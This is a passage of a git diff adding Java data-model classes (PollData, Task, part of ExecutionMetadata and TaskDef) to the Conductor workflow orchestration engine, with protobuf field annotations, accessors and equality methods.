executionEndTime != null + || clientSendTime != null + || pollNetworkLatency != null + || updateNetworkLatency != null + || (additionalContext != null && !additionalContext.isEmpty()); + } + + /** Checks if this ExecutionMetadata is completely empty (used by protobuf serialization) */ + public boolean isEmpty() { + return !hasData(); + } + + @Override + public String toString() { + return "ExecutionMetadata{" + + "serverSendTime=" + + serverSendTime + + ", clientReceiveTime=" + + clientReceiveTime + + ", executionStartTime=" + + executionStartTime + + ", executionEndTime=" + + executionEndTime + + ", clientSendTime=" + + clientSendTime + + ", pollNetworkLatency=" + + pollNetworkLatency + + ", updateNetworkLatency=" + + updateNetworkLatency + + ", additionalContext=" + + additionalContext + + '}'; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/PollData.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/PollData.java new file mode 100644 index 0000000..f094fb2 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/PollData.java @@ -0,0 +1,115 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +@ProtoMessage +public class PollData { + + @ProtoField(id = 1) + private String queueName; + + @ProtoField(id = 2) + private String domain; + + @ProtoField(id = 3) + private String workerId; + + @ProtoField(id = 4) + private long lastPollTime; + + public PollData() { + super(); + } + + public PollData(String queueName, String domain, String workerId, long lastPollTime) { + super(); + this.queueName = queueName; + this.domain = domain; + this.workerId = workerId; + this.lastPollTime = lastPollTime; + } + + public String getQueueName() { + return queueName; + } + + public void setQueueName(String queueName) { + this.queueName = queueName; + } + + public String getDomain() { + return domain; + } + + public void setDomain(String domain) { + this.domain = domain; + } + + public String getWorkerId() { + return workerId; + } + + public void setWorkerId(String workerId) { + this.workerId = workerId; + } + + public long getLastPollTime() { + return lastPollTime; + } + + public void setLastPollTime(long lastPollTime) { + this.lastPollTime = lastPollTime; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + PollData pollData = (PollData) o; + return getLastPollTime() == pollData.getLastPollTime() + && Objects.equals(getQueueName(), pollData.getQueueName()) + && Objects.equals(getDomain(), pollData.getDomain()) + && Objects.equals(getWorkerId(), pollData.getWorkerId()); + } + + @Override + public int hashCode() { + return Objects.hash(getQueueName(), getDomain(), getWorkerId(), getLastPollTime()); + } + + @Override + public String toString() { + return "PollData{" + + "queueName='" + + queueName + + '\'' + + ", domain='" + + domain + + '\'' + + ", workerId='" + + workerId + + '\'' + + ", lastPollTime=" + + lastPollTime + + '}'; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/Task.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/Task.java new file mode 100644 index 0000000..3318868 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/Task.java @@ -0,0 +1,1126 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.google.protobuf.Any; +import io.swagger.v3.oas.annotations.Hidden; + +@ProtoMessage +public class Task { + + @ProtoEnum + public enum Status { + IN_PROGRESS(false, true, true), + CANCELED(true, false, false), + FAILED(true, false, true), + FAILED_WITH_TERMINAL_ERROR( + true, false, + false), // No retries even if retries are configured, the task and the related + // workflow should be terminated + COMPLETED(true, true, true), + COMPLETED_WITH_ERRORS(true, true, true), + SCHEDULED(false, true, true), + TIMED_OUT(true, false, true), + SKIPPED(true, true, false); + + private final boolean terminal; + + private final boolean successful; + + private final boolean retriable; + + Status(boolean terminal, boolean successful, boolean retriable) { + this.terminal = terminal; + this.successful = successful; + this.retriable = retriable; + } + + public boolean isTerminal() { + return terminal; + } + + public boolean isSuccessful() { + return successful; + } + + public boolean isRetriable() { + return retriable; + } + } + + @ProtoField(id = 1) + private String taskType; + + @ProtoField(id = 2) + private Status status; + + @ProtoField(id = 3) + private Map inputData = new HashMap<>(); + + @ProtoField(id = 4) + private String referenceTaskName; + + @ProtoField(id = 5) + private int retryCount; + + @ProtoField(id = 6) + private int seq; + + @ProtoField(id = 7) + private String correlationId; + + @ProtoField(id = 8) + private int pollCount; + + @ProtoField(id = 9) + private String taskDefName; + + /** Time when the task was scheduled */ + @ProtoField(id = 10) + private long scheduledTime; + + /** Time when the task was first polled */ + @ProtoField(id = 11) + private long startTime; + + /** Time when the task completed executing */ + @ProtoField(id = 12) + private long endTime; + + /** Time when the task was last updated */ + @ProtoField(id = 13) + private long updateTime; + + @ProtoField(id = 14) + private int startDelayInSeconds; + + @ProtoField(id = 15) + private String retriedTaskId; + + @ProtoField(id = 16) + private boolean retried; + + @ProtoField(id = 17) + private boolean executed; + + @ProtoField(id = 18) + private boolean callbackFromWorker = true; + + @ProtoField(id = 19) + private long responseTimeoutSeconds; + + @ProtoField(id = 20) + private String workflowInstanceId; + + @ProtoField(id = 21) + private String workflowType; + + @ProtoField(id = 22) + private String taskId; + + @ProtoField(id = 23) + private String reasonForIncompletion; + + @ProtoField(id = 24) + private long callbackAfterSeconds; + + @ProtoField(id = 25) + private String workerId; + + @ProtoField(id = 26) + private Map outputData = new HashMap<>(); + + @ProtoField(id = 27) + private WorkflowTask workflowTask; + + @ProtoField(id = 28) + private String domain; + + @ProtoField(id = 29) + @Hidden + private Any inputMessage; + + @ProtoField(id = 30) + @Hidden + private Any outputMessage; + + // id 31 is reserved + + @ProtoField(id = 32) + private int rateLimitPerFrequency; + + @ProtoField(id = 33) + private int rateLimitFrequencyInSeconds; + + @ProtoField(id = 34) + private String externalInputPayloadStoragePath; + + @ProtoField(id = 35) + private String externalOutputPayloadStoragePath; + + @ProtoField(id = 36) + private int workflowPriority; + + @ProtoField(id = 37) + private String executionNameSpace; + + @ProtoField(id = 38) + private String isolationGroupId; + + @ProtoField(id = 40) + private int iteration; + + @ProtoField(id = 41) + private String subWorkflowId; + + /** + * Use to note that a sub workflow associated with SUB_WORKFLOW task has an action performed on + * it directly. + */ + @ProtoField(id = 42) + private boolean subworkflowChanged; + + @ProtoField(id = 43) + private long firstStartTime; + + @ProtoField(id = 44) + private ExecutionMetadata executionMetadata; + + // If the task is an event associated with a parent task, the id of the parent task + @ProtoField(id = 45) + private String parentTaskId; + + /** + * Resolved secret/environment name to value map, injected at poll time from the task + * definition's declared {@code runtimeMetadata} names. Wire-only (REST/JSON): never persisted + * on {@code TaskModel}, not given a {@code @ProtoField} id, and intentionally excluded from + * {@link #toString()}, {@link #equals(Object)}, {@link #hashCode()}, and {@link #copy()}. + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Map runtimeMetadata = new HashMap<>(); + + public Task() {} + + /** + * @return Type of the task + * @see TaskType + */ + public String getTaskType() { + return taskType; + } + + public void setTaskType(String taskType) { + this.taskType = taskType; + } + + /** + * @return Status of the task + */ + public Status getStatus() { + return status; + } + + /** + * @param status Status of the task + */ + public void setStatus(Status status) { + this.status = status; + } + + public Map getInputData() { + return inputData; + } + + public void setInputData(Map inputData) { + if (inputData == null) { + inputData = new HashMap<>(); + } + this.inputData = inputData; + } + + /** + * @return the referenceTaskName + */ + public String getReferenceTaskName() { + return referenceTaskName; + } + + /** + * @param referenceTaskName the referenceTaskName to set + */ + public void setReferenceTaskName(String referenceTaskName) { + this.referenceTaskName = referenceTaskName; + } + + /** + * @return the correlationId + */ + public String getCorrelationId() { + return correlationId; + } + + /** + * @param correlationId the correlationId to set + */ + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + /** + * @return the retryCount + */ + public int getRetryCount() { + return retryCount; + } + + /** + * @param retryCount the retryCount to set + */ + public void setRetryCount(int retryCount) { + this.retryCount = retryCount; + } + + /** + * @return the scheduledTime + */ + public long getScheduledTime() { + return scheduledTime; + } + + /** + * @param scheduledTime the scheduledTime to set + */ + public void setScheduledTime(long scheduledTime) { + this.scheduledTime = scheduledTime; + } + + /** + * @return the startTime + */ + public long getStartTime() { + return startTime; + } + + /** + * @param startTime the startTime to set + */ + public void setStartTime(long startTime) { + this.startTime = startTime; + } + + /** + * @return the endTime + */ + public long getEndTime() { + return endTime; + } + + /** + * @param endTime the endTime to set + */ + public void setEndTime(long endTime) { + this.endTime = endTime; + } + + /** + * @return the startDelayInSeconds + */ + public int getStartDelayInSeconds() { + return startDelayInSeconds; + } + + /** + * @param startDelayInSeconds the startDelayInSeconds to set + */ + public void setStartDelayInSeconds(int startDelayInSeconds) { + this.startDelayInSeconds = startDelayInSeconds; + } + + /** + * @return the retriedTaskId + */ + public String getRetriedTaskId() { + return retriedTaskId; + } + + /** + * @param retriedTaskId the retriedTaskId to set + */ + public void setRetriedTaskId(String retriedTaskId) { + this.retriedTaskId = retriedTaskId; + } + + /** + * @return the seq + */ + public int getSeq() { + return seq; + } + + /** + * @param seq the seq to set + */ + public void setSeq(int seq) { + this.seq = seq; + } + + /** + * @return the updateTime + */ + public long getUpdateTime() { + return updateTime; + } + + /** + * @param updateTime the updateTime to set + */ + public void setUpdateTime(long updateTime) { + this.updateTime = updateTime; + } + + /** + * @return the queueWaitTime + */ + public long getQueueWaitTime() { + if (this.startTime > 0 && this.scheduledTime > 0) { + if (this.updateTime > 0 && getCallbackAfterSeconds() > 0) { + long waitTime = + System.currentTimeMillis() + - (this.updateTime + (getCallbackAfterSeconds() * 1000)); + return waitTime > 0 ? waitTime : 0; + } else { + return this.startTime - this.scheduledTime; + } + } + return 0L; + } + + /** + * @return True if the task has been retried after failure + */ + public boolean isRetried() { + return retried; + } + + /** + * @param retried the retried to set + */ + public void setRetried(boolean retried) { + this.retried = retried; + } + + /** + * @return True if the task has completed its lifecycle within conductor (from start to + * completion to being updated in the datastore) + */ + public boolean isExecuted() { + return executed; + } + + /** + * @param executed the executed value to set + */ + public void setExecuted(boolean executed) { + this.executed = executed; + } + + /** + * @return No. of times task has been polled + */ + public int getPollCount() { + return pollCount; + } + + public void setPollCount(int pollCount) { + this.pollCount = pollCount; + } + + public void incrementPollCount() { + ++this.pollCount; + } + + public boolean isCallbackFromWorker() { + return callbackFromWorker; + } + + public void setCallbackFromWorker(boolean callbackFromWorker) { + this.callbackFromWorker = callbackFromWorker; + } + + /** + * @return Name of the task definition + */ + public String getTaskDefName() { + if (taskDefName == null || "".equals(taskDefName)) { + taskDefName = taskType; + } + return taskDefName; + } + + /** + * @param taskDefName Name of the task definition + */ + public void setTaskDefName(String taskDefName) { + this.taskDefName = taskDefName; + } + + /** + * @return the timeout for task to send response. After this timeout, the task will be re-queued + */ + public long getResponseTimeoutSeconds() { + return responseTimeoutSeconds; + } + + /** + * @param responseTimeoutSeconds - timeout for task to send response. After this timeout, the + * task will be re-queued + */ + public void setResponseTimeoutSeconds(long responseTimeoutSeconds) { + this.responseTimeoutSeconds = responseTimeoutSeconds; + } + + /** + * @return the workflowInstanceId + */ + public String getWorkflowInstanceId() { + return workflowInstanceId; + } + + /** + * @param workflowInstanceId the workflowInstanceId to set + */ + public void setWorkflowInstanceId(String workflowInstanceId) { + this.workflowInstanceId = workflowInstanceId; + } + + public String getWorkflowType() { + return workflowType; + } + + /** + * @param workflowType the name of the workflow + * @return the task object with the workflow type set + */ + public com.netflix.conductor.common.metadata.tasks.Task setWorkflowType(String workflowType) { + this.workflowType = workflowType; + return this; + } + + /** + * @return the taskId + */ + public String getTaskId() { + return taskId; + } + + /** + * @param taskId the taskId to set + */ + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + /** + * @return the reasonForIncompletion + */ + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + /** + * @param reasonForIncompletion the reasonForIncompletion to set + */ + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = StringUtils.substring(reasonForIncompletion, 0, 500); + } + + /** + * @return the callbackAfterSeconds + */ + public long getCallbackAfterSeconds() { + return callbackAfterSeconds; + } + + /** + * @param callbackAfterSeconds the callbackAfterSeconds to set + */ + public void setCallbackAfterSeconds(long callbackAfterSeconds) { + this.callbackAfterSeconds = callbackAfterSeconds; + } + + /** + * @return the workerId + */ + public String getWorkerId() { + return workerId; + } + + /** + * @param workerId the workerId to set + */ + public void setWorkerId(String workerId) { + this.workerId = workerId; + } + + /** + * @return the outputData + */ + public Map getOutputData() { + return outputData; + } + + /** + * @param outputData the outputData to set + */ + public void setOutputData(Map outputData) { + if (outputData == null) { + outputData = new HashMap<>(); + } + this.outputData = outputData; + } + + /** + * @return Workflow Task definition + */ + public WorkflowTask getWorkflowTask() { + return workflowTask; + } + + /** + * @param workflowTask Task definition + */ + public void setWorkflowTask(WorkflowTask workflowTask) { + this.workflowTask = workflowTask; + } + + /** + * @return the domain + */ + public String getDomain() { + return domain; + } + + /** + * @param domain the Domain + */ + public void setDomain(String domain) { + this.domain = domain; + } + + public Any getInputMessage() { + return inputMessage; + } + + public void setInputMessage(Any inputMessage) { + this.inputMessage = inputMessage; + } + + public Any getOutputMessage() { + return outputMessage; + } + + public void setOutputMessage(Any outputMessage) { + this.outputMessage = outputMessage; + } + + /** + * @return {@link Optional} containing the task definition if available + */ + public Optional getTaskDefinition() { + return Optional.ofNullable(this.getWorkflowTask()).map(WorkflowTask::getTaskDefinition); + } + + public int getRateLimitPerFrequency() { + return rateLimitPerFrequency; + } + + public void setRateLimitPerFrequency(int rateLimitPerFrequency) { + this.rateLimitPerFrequency = rateLimitPerFrequency; + } + + public int getRateLimitFrequencyInSeconds() { + return rateLimitFrequencyInSeconds; + } + + public void setRateLimitFrequencyInSeconds(int rateLimitFrequencyInSeconds) { + this.rateLimitFrequencyInSeconds = rateLimitFrequencyInSeconds; + } + + /** + * @return the external storage path for the task input payload + */ + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + /** + * @param externalInputPayloadStoragePath the external storage path where the task input payload + * is stored + */ + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + /** + * @return the external storage path for the task output payload + */ + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + /** + * @param externalOutputPayloadStoragePath the external storage path where the task output + * payload is stored + */ + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + public void setIsolationGroupId(String isolationGroupId) { + this.isolationGroupId = isolationGroupId; + } + + public String getIsolationGroupId() { + return isolationGroupId; + } + + public String getExecutionNameSpace() { + return executionNameSpace; + } + + public void setExecutionNameSpace(String executionNameSpace) { + this.executionNameSpace = executionNameSpace; + } + + /** + * @return the iteration + */ + public int getIteration() { + return iteration; + } + + /** + * @param iteration iteration + */ + public void setIteration(int iteration) { + this.iteration = iteration; + } + + public boolean isLoopOverTask() { + return iteration > 0; + } + + /** + * @return the priority defined on workflow + */ + public int getWorkflowPriority() { + return workflowPriority; + } + + /** + * @param workflowPriority Priority defined for workflow + */ + public void setWorkflowPriority(int workflowPriority) { + this.workflowPriority = workflowPriority; + } + + public boolean isSubworkflowChanged() { + return subworkflowChanged; + } + + public void setSubworkflowChanged(boolean subworkflowChanged) { + this.subworkflowChanged = subworkflowChanged; + } + + public String getSubWorkflowId() { + // For backwards compatibility + if (StringUtils.isNotBlank(subWorkflowId)) { + return subWorkflowId; + } else { + return this.getOutputData() != null && this.getOutputData().get("subWorkflowId") != null + ? (String) this.getOutputData().get("subWorkflowId") + : this.getInputData() != null + ? (String) this.getInputData().get("subWorkflowId") + : null; + } + } + + public void setSubWorkflowId(String subWorkflowId) { + this.subWorkflowId = subWorkflowId; + // For backwards compatibility + if (this.getOutputData() != null && this.getOutputData().containsKey("subWorkflowId")) { + this.getOutputData().put("subWorkflowId", subWorkflowId); + } + } + + public String getParentTaskId() { + return parentTaskId; + } + + public void setParentTaskId(String parentTaskId) { + this.parentTaskId = parentTaskId; + } + + /** + * @return the resolved secret/environment name to value map, injected at poll time + */ + public Map getRuntimeMetadata() { + return runtimeMetadata; + } + + /** + * @param runtimeMetadata the resolved secret/environment name to value map to set + */ + public void setRuntimeMetadata(Map runtimeMetadata) { + if (runtimeMetadata == null) { + runtimeMetadata = new HashMap<>(); + } + this.runtimeMetadata = runtimeMetadata; + } + + public long getFirstStartTime() { + return firstStartTime; + } + + public void setFirstStartTime(long firstStartTime) { + this.firstStartTime = firstStartTime; + } + + /** + * @return the execution metadata containing timing, worker context, and other operational data. + * Returns null if no execution metadata has been explicitly set or used. + */ + public ExecutionMetadata getExecutionMetadata() { + if (executionMetadata == null) { + executionMetadata = new ExecutionMetadata(); + } + // Only return ExecutionMetadata if it exists and has data + if (executionMetadata != null && executionMetadata.hasData()) { + return executionMetadata; + } + return executionMetadata; + } + + /** + * @return the execution metadata, creating it if it doesn't exist (for setting timing data) + */ + @JsonIgnore + public ExecutionMetadata getOrCreateExecutionMetadata() { + if (executionMetadata == null) { + executionMetadata = new ExecutionMetadata(); + } + return executionMetadata; + } + + /** + * @return the execution metadata only if it has data, null otherwise (for protobuf + * serialization) + */ + @JsonIgnore + public ExecutionMetadata getExecutionMetadataIfHasData() { + if (executionMetadata != null && executionMetadata.hasData()) { + return executionMetadata; + } + return null; + } + + /** + * @return true if the task has execution metadata (without creating it) + */ + public boolean hasExecutionMetadata() { + return executionMetadata != null; + } + + /** + * @param executionMetadata the execution metadata to set + */ + public void setExecutionMetadata(ExecutionMetadata executionMetadata) { + this.executionMetadata = executionMetadata; + } + + public Task copy() { + Task copy = new Task(); + copy.setCallbackAfterSeconds(callbackAfterSeconds); + copy.setCallbackFromWorker(callbackFromWorker); + copy.setCorrelationId(correlationId); + copy.setInputData(inputData); + copy.setOutputData(outputData); + copy.setReferenceTaskName(referenceTaskName); + copy.setStartDelayInSeconds(startDelayInSeconds); + copy.setTaskDefName(taskDefName); + copy.setTaskType(taskType); + copy.setWorkflowInstanceId(workflowInstanceId); + copy.setWorkflowType(workflowType); + copy.setResponseTimeoutSeconds(responseTimeoutSeconds); + copy.setStatus(status); + copy.setRetryCount(retryCount); + copy.setPollCount(pollCount); + copy.setTaskId(taskId); + copy.setWorkflowTask(workflowTask); + copy.setDomain(domain); + copy.setInputMessage(inputMessage); + copy.setOutputMessage(outputMessage); + copy.setRateLimitPerFrequency(rateLimitPerFrequency); + copy.setRateLimitFrequencyInSeconds(rateLimitFrequencyInSeconds); + copy.setExternalInputPayloadStoragePath(externalInputPayloadStoragePath); + copy.setExternalOutputPayloadStoragePath(externalOutputPayloadStoragePath); + copy.setWorkflowPriority(workflowPriority); + copy.setIteration(iteration); + copy.setExecutionNameSpace(executionNameSpace); + copy.setIsolationGroupId(isolationGroupId); + copy.setSubWorkflowId(getSubWorkflowId()); + copy.setSubworkflowChanged(subworkflowChanged); + copy.setParentTaskId(parentTaskId); + copy.setFirstStartTime(firstStartTime); + copy.setExecutionMetadata(executionMetadata); + return copy; + } + + /** + * @return a deep copy of the task instance To be used inside copy Workflow method to provide a + * valid deep copied object. Note: This does not copy the following fields: + *

    + *
  • retried + *
  • updateTime + *
  • retriedTaskId + *
+ */ + public Task deepCopy() { + Task deepCopy = copy(); + deepCopy.setStartTime(startTime); + deepCopy.setScheduledTime(scheduledTime); + deepCopy.setEndTime(endTime); + deepCopy.setWorkerId(workerId); + deepCopy.setReasonForIncompletion(reasonForIncompletion); + deepCopy.setSeq(seq); + deepCopy.setParentTaskId(parentTaskId); + deepCopy.setFirstStartTime(firstStartTime); + return deepCopy; + } + + @Override + public String toString() { + return "Task{" + + "taskType='" + + taskType + + '\'' + + ", status=" + + status + + ", inputData=" + + inputData + + ", referenceTaskName='" + + referenceTaskName + + '\'' + + ", retryCount=" + + retryCount + + ", seq=" + + seq + + ", correlationId='" + + correlationId + + '\'' + + ", pollCount=" + + pollCount + + ", taskDefName='" + + taskDefName + + '\'' + + ", scheduledTime=" + + scheduledTime + + ", startTime=" + + startTime + + ", endTime=" + + endTime + + ", updateTime=" + + updateTime + + ", startDelayInSeconds=" + + startDelayInSeconds + + ", retriedTaskId='" + + retriedTaskId + + '\'' + + ", retried=" + + retried + + ", executed=" + + executed + + ", callbackFromWorker=" + + callbackFromWorker + + ", responseTimeoutSeconds=" + + responseTimeoutSeconds + + ", workflowInstanceId='" + + workflowInstanceId + + '\'' + + ", workflowType='" + + workflowType + + '\'' + + ", taskId='" + + taskId + + '\'' + + ", reasonForIncompletion='" + + reasonForIncompletion + + '\'' + + ", callbackAfterSeconds=" + + callbackAfterSeconds + + ", workerId='" + + workerId + + '\'' + + ", outputData=" + + outputData + + ", workflowTask=" + + workflowTask + + ", domain='" + + domain + + '\'' + + ", inputMessage='" + + inputMessage + + '\'' + + ", outputMessage='" + + outputMessage + + '\'' + + ", rateLimitPerFrequency=" + + rateLimitPerFrequency + + ", rateLimitFrequencyInSeconds=" + + rateLimitFrequencyInSeconds + + ", workflowPriority=" + + workflowPriority + + ", externalInputPayloadStoragePath='" + + externalInputPayloadStoragePath + + '\'' + + ", externalOutputPayloadStoragePath='" + + externalOutputPayloadStoragePath + + '\'' + + ", isolationGroupId='" + + isolationGroupId + + '\'' + + ", executionNameSpace='" + + executionNameSpace + + '\'' + + ", subworkflowChanged='" + + subworkflowChanged + + '\'' + + ", firstStartTime='" + + firstStartTime + + '\'' + + '}'; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + Task task = (Task) o; + return getRetryCount() == task.getRetryCount() + && getSeq() == task.getSeq() + && getPollCount() == task.getPollCount() + && getScheduledTime() == task.getScheduledTime() + && getStartTime() == task.getStartTime() + && getEndTime() == task.getEndTime() + && getUpdateTime() == task.getUpdateTime() + && getStartDelayInSeconds() == task.getStartDelayInSeconds() + && isRetried() == task.isRetried() + && isExecuted() == task.isExecuted() + && isCallbackFromWorker() == task.isCallbackFromWorker() + && getResponseTimeoutSeconds() == task.getResponseTimeoutSeconds() + && getCallbackAfterSeconds() == task.getCallbackAfterSeconds() + && getRateLimitPerFrequency() == task.getRateLimitPerFrequency() + && getRateLimitFrequencyInSeconds() == task.getRateLimitFrequencyInSeconds() + && Objects.equals(getTaskType(), task.getTaskType()) + && getStatus() == task.getStatus() + && getIteration() == task.getIteration() + && getWorkflowPriority() == task.getWorkflowPriority() + && Objects.equals(getInputData(), task.getInputData()) + && Objects.equals(getReferenceTaskName(), task.getReferenceTaskName()) + && Objects.equals(getCorrelationId(), task.getCorrelationId()) + && Objects.equals(getTaskDefName(), task.getTaskDefName()) + && Objects.equals(getRetriedTaskId(), task.getRetriedTaskId()) + && Objects.equals(getWorkflowInstanceId(), task.getWorkflowInstanceId()) + && Objects.equals(getWorkflowType(), task.getWorkflowType()) + && Objects.equals(getTaskId(), task.getTaskId()) + && Objects.equals(getReasonForIncompletion(), task.getReasonForIncompletion()) + && Objects.equals(getWorkerId(), task.getWorkerId()) + && Objects.equals(getOutputData(), task.getOutputData()) + && Objects.equals(getWorkflowTask(), task.getWorkflowTask()) + && Objects.equals(getDomain(), task.getDomain()) + && Objects.equals(getInputMessage(), task.getInputMessage()) + && Objects.equals(getOutputMessage(), task.getOutputMessage()) + && Objects.equals( + getExternalInputPayloadStoragePath(), + task.getExternalInputPayloadStoragePath()) + && Objects.equals( + getExternalOutputPayloadStoragePath(), + task.getExternalOutputPayloadStoragePath()) + && Objects.equals(getIsolationGroupId(), task.getIsolationGroupId()) + && Objects.equals(getExecutionNameSpace(), task.getExecutionNameSpace()) + && Objects.equals(getParentTaskId(), task.getParentTaskId()) + && Objects.equals(getFirstStartTime(), task.getFirstStartTime()); + } + + @Override + public int hashCode() { + return Objects.hash( + getTaskType(), + getStatus(), + getInputData(), + getReferenceTaskName(), + getWorkflowPriority(), + getRetryCount(), + getSeq(), + getCorrelationId(), + getPollCount(), + getTaskDefName(), + getScheduledTime(), + getStartTime(), + getEndTime(), + getUpdateTime(), + getStartDelayInSeconds(), + getRetriedTaskId(), + isRetried(), + isExecuted(), + isCallbackFromWorker(), + getResponseTimeoutSeconds(), + getWorkflowInstanceId(), + getWorkflowType(), + getTaskId(), + getReasonForIncompletion(), + getCallbackAfterSeconds(), + getWorkerId(), + getOutputData(), + getWorkflowTask(), + getDomain(), + getInputMessage(), + getOutputMessage(), + getRateLimitPerFrequency(), + getRateLimitFrequencyInSeconds(), + getExternalInputPayloadStoragePath(), + getExternalOutputPayloadStoragePath(), + getIsolationGroupId(), + getExecutionNameSpace(), + getParentTaskId(), + getFirstStartTime()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java new file mode 100644 index 0000000..4856f8c --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java @@ -0,0 +1,617 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.constraints.OwnerEmailMandatoryConstraint; +import com.netflix.conductor.common.constraints.TaskTimeoutConstraint; +import com.netflix.conductor.common.metadata.Auditable; +import com.netflix.conductor.common.metadata.SchemaDef; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.Min; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +@ProtoMessage +@TaskTimeoutConstraint +@Valid +public class TaskDef extends Auditable { + + @ProtoEnum + public enum TimeoutPolicy { + RETRY, + TIME_OUT_WF, + ALERT_ONLY + } + + @ProtoEnum + public enum RetryLogic { + FIXED, + EXPONENTIAL_BACKOFF, + LINEAR_BACKOFF + } + + public static final int ONE_HOUR = 60 * 60; + + /** Unique name identifying the task. The name is unique across */ + @NotEmpty(message = "TaskDef name cannot be null or empty") + @ProtoField(id = 1) + private String name; + + @ProtoField(id = 2) + private String description; + + @ProtoField(id = 3) + @Min(value = 0, message = "TaskDef retryCount: {value} must be >= 0") + private int retryCount = 3; // Default + + @ProtoField(id = 4) + @NotNull + private long timeoutSeconds; + + @ProtoField(id = 5) + private List inputKeys = new ArrayList<>(); + + @ProtoField(id = 6) + private List outputKeys = new ArrayList<>(); + + /** + * Names of secrets/environment variables this task needs resolved and injected at poll time. + */ + private List runtimeMetadata = new ArrayList<>(); + + @ProtoField(id = 7) + private TimeoutPolicy timeoutPolicy = TimeoutPolicy.TIME_OUT_WF; + + @ProtoField(id = 8) + private RetryLogic retryLogic = RetryLogic.FIXED; + + @ProtoField(id = 9) + private int retryDelaySeconds = 60; + + @ProtoField(id = 10) + @Min( + value = 1, + message = + "TaskDef responseTimeoutSeconds: ${validatedValue} should be minimum {value} second") + private long responseTimeoutSeconds = ONE_HOUR; + + @ProtoField(id = 11) + private Integer concurrentExecLimit; + + @ProtoField(id = 12) + private Map inputTemplate = new HashMap<>(); + + // This field is deprecated, do not use id 13. + // @ProtoField(id = 13) + // private Integer rateLimitPerSecond; + + @ProtoField(id = 14) + private Integer rateLimitPerFrequency; + + @ProtoField(id = 15) + private Integer rateLimitFrequencyInSeconds; + + @ProtoField(id = 16) + private String isolationGroupId; + + @ProtoField(id = 17) + private String executionNameSpace; + + @ProtoField(id = 18) + @OwnerEmailMandatoryConstraint + private String ownerEmail; + + @ProtoField(id = 19) + @Min(value = 0, message = "TaskDef pollTimeoutSeconds: {value} must be >= 0") + private Integer pollTimeoutSeconds; + + @ProtoField(id = 20) + @Min(value = 1, message = "Backoff scale factor. Applicable for LINEAR_BACKOFF") + private Integer backoffScaleFactor = 1; + + @ProtoField(id = 24) + @Min(value = 0, message = "TaskDef maxRetryDelaySeconds: {value} must be >= 0") + private int maxRetryDelaySeconds = 0; + + @ProtoField(id = 25) + @Min(value = 0, message = "TaskDef backoffJitterMs: {value} must be >= 0") + private int backoffJitterMs = 0; + + @ProtoField(id = 21) + private String baseType; + + @ProtoField(id = 22) + @Min(value = 0, message = "TaskDef 